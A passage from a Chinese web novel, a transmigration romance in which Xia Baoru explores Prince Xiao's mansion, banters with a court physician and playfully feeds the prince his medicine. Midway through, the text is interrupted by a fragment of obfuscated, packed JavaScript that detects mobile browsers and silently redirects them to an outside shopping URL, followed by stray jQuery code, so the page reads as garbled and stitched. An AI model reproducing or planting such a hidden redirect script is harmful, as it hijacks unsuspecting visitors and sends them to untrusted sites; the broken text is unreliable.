“嫂嫂,你们在说什么悄悄话呢?”昭阳说完也拿了个玫瑰饼。
夏宝如笑道:“你这顺风耳都听到了,那还算哪门子悄悄话。”
昭阳嘿嘿一笑又问:“嫂嫂,用完午膳我们去御花园走走吧。”
崔皇后插话道:“昭阳,你三嫂和三哥今天累了,你若是想去御花园,叫你五哥陪你去。”
昭阳闻言咬唇皱眉,“五哥这个榆木脑袋,我才懒得和他去。”
裴瑾被妹妹慊弃,面上倏忽泛红。
“嫂嫂对不起,我忘了你累一天了。改天我挑个好日子再邀你玩。”昭阳回过神发现自己确实对三嫂兴奋过度。
夏宝如笑着应下昭阳的话,后者这才又生龙活虎。
饭毕,夏宝如和裴玉容漱口盥手后离了凤仪宫,终是乘上回府的马车。
夏宝如大约是午膳用得太多,耷拉着脑袋昏昏欲睡。
裴玉容端坐一旁闭目养神,脑海中回想夏宝如用午膳时的样子,不由得怀疑夏文清平日里究竟苛待她到什么地步。
裴玉容睁眼凝视着夏宝如安然的睡颜,难以名状的羞愧之情油然而生。
崔皇后有句话说得很对,夏宝如无论个性或是相貌,活脱脱从画里走出来的人。
瑶台仙子,近在咫尺。
或许上天也愿意垂怜他一次。
马车行至萧王府停下,本来酣睡的夏宝如不等裴玉容提供叫醒服务,自己先迷瞪睁眼。她自顾自地下了马车,在月白和风清的搀扶下径自走进王府。
飞泉站在一边目睹了王妃忽略萧王的全过程。他转过脸睇了眼裴玉容,后者只无奈地叹口气,随夏宝如的自在。
夏宝如迷迷糊糊地回到摘星楼,鞋履没来得及脱就一头卧倒在贵妃榻上。
王府内有侍女立在房间外守着夏宝如,风清交代过竹青和苏芳后才算安心。
竹青和苏芳都是十五六岁,因着萧王妃入府才被调来伺候。平日里二人没少听说有关裴玉容的传闻,在王府做事也是战战兢兢、恪守本分。
月白和风清是王妃从府上就带来的贴身侍女,比她们两个自然更得主子信赖。竹青和苏芳还不知王妃脾性,但看月白和风清二位姐姐待她们亲厚,想必王妃也是温良平和。
苏芳低垂着头不语,竹青觉着无聊,抬头仰望碧空之上云卷云舒。偶尔飞过一只云雀发出啾啾声,再没有别的动响。
都说春困秋乏,竹青送走了她下午观察的第六朵云后终于忍不住打了个哈欠。
屋门吱地一声打开,夏宝如伸了个懒腰:“这一觉睡得真舒服。”
竹青吓得连忙捂住嘴,苏芳低着头说:“殿下,我这就去叫月白姐姐来。”
“无碍,我自己想出去走走。你们先回去休息吧,若是月白和风清问起来就说是我的意思。”
苏芳和竹青相视一笑,欣喜道:“多谢王妃!”夏宝如摆摆手,随后径自出了摘星楼。
古人的建筑讲究对称,夏宝如穿越前也是逛过相似的古建筑,也不担心自己会迷路。再者说,她也好奇这萧王府究竟是个什么样。
夏宝如先去了萧王府的后花园。穿过蜿蜒小径,翠绿的竹海将她包裹在拂去尘世喧嚣的一方清逸中。静思榭立于春水之上,她静坐发呆,听湖中鱼儿游得欢快自在。沧海楼立于假山之间,登高望远,后花园春景一览无余。
夏宝如折返往摘星楼的东边去,竟行至煎药房。王府下人见王妃大驾,忙停下手里的活行礼请安。
“都起来吧,我只是碰巧路过。”得到夏宝如的示意后煎药房众人各司其职。
夏宝如见煎药房中烟雾缭绕但乱中有序,看了一会儿便出了煎药房。
她再往摘星楼的正南方向走几步远,就到了萧王住的雅言堂。
夏宝如刚迈进雅言堂,一穿着青色官服的男子恰巧与其四目相对。
贺之寻自然晓得来者是萧王妃,登时立在原地拱手问安:“臣下见过萧王妃殿下。”
“免礼,还要请教尊驾是?”
贺之寻直起身道:“王妃客气,臣下是太医贺之寻。”
夏宝如开门见山问:“萧王殿下身体不舒服吗?”
他听到问话似是一愣,旋即答话道:“回王妃话,殿下近几日劳累过度,引得旧伤反复。不过还请王妃放心,殿下服用臣下开的药方再多加静养便无大碍。”
“有劳贺太医,我都记住了。”
贺之寻这才敢细瞧夏宝如,朱唇贝齿、面若桃花,笑起来面上还有两个笑涡。
他裴玉容还真是好命。
刀伤有他这个华佗再世的神医,因而捡回一条命;劫后余生居然还有佳人相伴。
裴玉容出生便在帝王家,就算不受宠也是早早在京城开了府。和他这样于官场挣扎沉浮的普通人比,还是舒心不少啊。
但话又说回来,裴玉容因为外貌遭受的冷眼和流言如若换做贺之寻,他是否承受得住?
罢了罢了,知足常乐,他还是老实本分地做个医术高明的太医吧。
贺之寻正想得出神,夏宝如又问道:“那萧王平日有什么忌口吗?或者还有哪些不能做的事。”
他暗忖做戏做全套,萧王妃也是个聪明人啊。
“萧王殿下不宜过度劳累,平日里注意清淡饮食。还有就是……”
夏宝如见他话说一半追问道:“还有什么?”
“房事不宜太过频繁。”
夏宝如两眼一黑:“……你想多了。”
贺之寻大为震撼,难道萧王殿下有那方面的隐疾吗!
他自诩礼朝第一神医的职业操守叫他无论如何都不能坐以待毙。贺之寻好整以暇:“王妃放心,就算上刀山下火海,臣下也会医好萧王殿下的。”
“贺太医,我们说的好像不是一件事吧……”夏宝如穿越前好歹是个满腹经纶的“读书人”,这点子潜台词还是手拿把掐的。
贺之寻叹了口气:“王妃殿下不必多言,同为男人臣下都懂。”
夏宝如略一沉吟:“难道你?”
“当然不是我本人!”贺之寻严词否认,“医者仁心,臣下替他人瞧病瞧得多,经验还是有一些的。”
“贺太医啊。”夏宝如语重心长:“萧王殿下人很好,你还是别蓄意抹黑了吧。”就算要抹黑也别带上她啊。
贺之寻惊觉自己失态了。
“是臣下对萧王殿下妄加揣测,臣下知错,还望王妃赎罪。”
夏宝如笑了笑:“放心,我会将这话烂在肚子里的。”唇亡齿寒的道理浅显易懂啊。“贺太医,你是从前一直为萧王殿下看病吗,你们二人认识多久了?”
“回王妃,臣下是前年幸得萧王殿下提携才在太医院占据一席之地。一月前萧王殿下受伤,自那之后便是臣下为萧王殿下开方医治。”
“果然总裁身边都有个医生朋友。”
“王妃您说什么?”
夏宝如笑着摇摇头:“无事,就是想起话本里的内容。”贺之寻半信半疑地眨眨眼。
正巧王府的下人端来了刚煎好的药汤,贺之寻便告辞出了萧王府。夏宝如见那下人送完药汤后从屋中离开,手上却是空空如也。
她想起裴玉容六亲缘浅,念及从前自己看病时的忐忑不安,推己及人,还是去关心一下裴玉容吧。
层岚和连霏守在屋外两边。夏宝如见人高马大地二人杵在门外,活像保家镇宅的门神。
她怕自己突然进去撞见不该看见的东西,先站在屋外问道:“殿下,我可以进来吗?”
得到裴玉容肯定的答复后,夏宝如招呼层岚在其耳边交代了几句话,这才跨步进屋。
入目便是一方书案,两侧陈列花几。漏窗泄进暖融融的光柱,屋中这才增添些许生气。放在书案上的那碗药汤还滚着热气。
夏宝如绕过屏风停在帷帐前。
“找我什么事?”裴玉容率先打破沉默。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17861545|212019||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>“听说殿下身体欠佳,我特意来看望。”夏宝如打量着帷帐之后若影若现的身影。
“你先回去,免得沾染了病气。”
“殿下,我来喂你吃药怎么样?”
帷帐后的身影蹭地一下站起身,裴玉容羞恼道:“夏宝如!”
夏宝如闻言转身端来药汤,一只手就要掀开帷帐。裴玉容高声制止:“夏宝如,你!”
“殿下,我就在这里啊。”
“你快走,我不用你给我喂药喝!”
“可我们不是夫妻吗,喂个药怎么了?”夏宝如搬出前一晚裴玉容亲口说过的话。
裴玉容死死拉住帷帐,夏宝如眼睛一转低语道:“好烫啊……”
裴玉容怕害得夏宝如双手烫伤,不再垂死挣扎。夏宝如见状笑嘻嘻地掀开帷帐于裴玉容的床边坐下。
他发现自己被耍,恼羞成怒道:“夏宝如,你真是个小骗子。”
夏宝如不理他,用汤匙在药汤中打圈,随后舀了一勺放在嘴边轻轻吹气。
“不烫了,殿下你喝吧。”夏宝如将汤匙递到裴玉容嘴边。后者脸红到无地自容。
夏宝如见裴玉容不肯喝,连声安慰道:“我叫层岚去膳房拿了些蜜饯,殿下若是怕苦那就待会就着蜜饯喝。”
裴玉容一手捂着脸咬牙切齿道:“夏宝如,我真是上辈子欠你的吧?”
夏宝如摆摆手:“诶,哪有什么欠不欠的,喝完这药我们两不相欠。”
“夏宝如,你是故意气我的吧?”
她眨巴着眼睛很是无辜:“殿下,你怎么能践踏我的一片真情呢。”
裴玉容气得想笑:“你明明就是故意捉弄我寻开心!”
夏宝如心思被拆穿,只得装乖卖傻:“俗话说拿人手软吃人嘴短,殿下既然答应为我在万珍阁一掷千金,那我总得有些回报才是。”
“你真是恩将仇报。”
“殿下,有我这么一个貌美又有趣的妻子喂你喝药,你心底就偷着笑吧。”
“哎,我从未见过像你一样缠人的。”裴玉容败下阵来,说完话硬着头皮喝下了那勺药汤。夏宝如大获全胜,得意地两只眼睛弯成浅浅的月牙。
裴玉容也不管药汤烫不烫,只想着赶快结束这一切。他没一会儿喝完最后一勺药汤,夏宝如摸索着腰间寻找方帕,恍然想起慈宁宫时她借给裴玉容了。
这方帕算是有借无还咯……
“王妃殿下,您要的东西属下拿来了。”屋外传来层岚的声音。
裴玉容已经没有力气去阻拦,只好由着夏宝如兴致冲冲地端来一碟蜜饯。她挑了个桃饯打算故技重施,裴玉容倏地箍住夏宝如打算投喂的那只手。
“殿下,你弄疼我了。”夏宝如紧皱眉头往后缩手。裴玉容从未碰过姑娘,以为自己力气用大了忙松开手。“抱歉,我不知道……”
夏宝如趁着裴玉容说话的空档,成功投喂了一颗桃饯。她嘿嘿笑道:“好吃吧,吃完这个就不苦了。”
这回轮到裴玉容眉头紧锁:“夏宝如,你真是满肚子坏水!”说完不忘嚼了嚼嘴巴里的蜜饯,确实甜。
“这叫兵不厌诈,再吃一颗吗?”
“不了,待会晚膳都不必用了。”
“为什么?”
“被你气饱了!”
话虽如此,夏宝如还是能瞧出来裴玉容心情不错的。“殿下喝完药了,那我的任务就完成了。”既然关心过了。她还是溜之大吉为上。
孤男寡女的,小心一个不幸演变为干柴烈火。
裴玉容哑然失笑:“我怎么不知道有人给你派了这任务。”
“我在摘星楼小憩时梦到有一高人告诉我,殿下喝药怕苦,我这才赶来救殿下于水火之中。”
“油嘴滑舌……”
夏宝如笑着撇撇嘴,随即一阵风似地消失得无影无踪。
裴玉容目送她离开后视线定格在那碟颜色鲜亮的蜜饯上,低低笑出了声。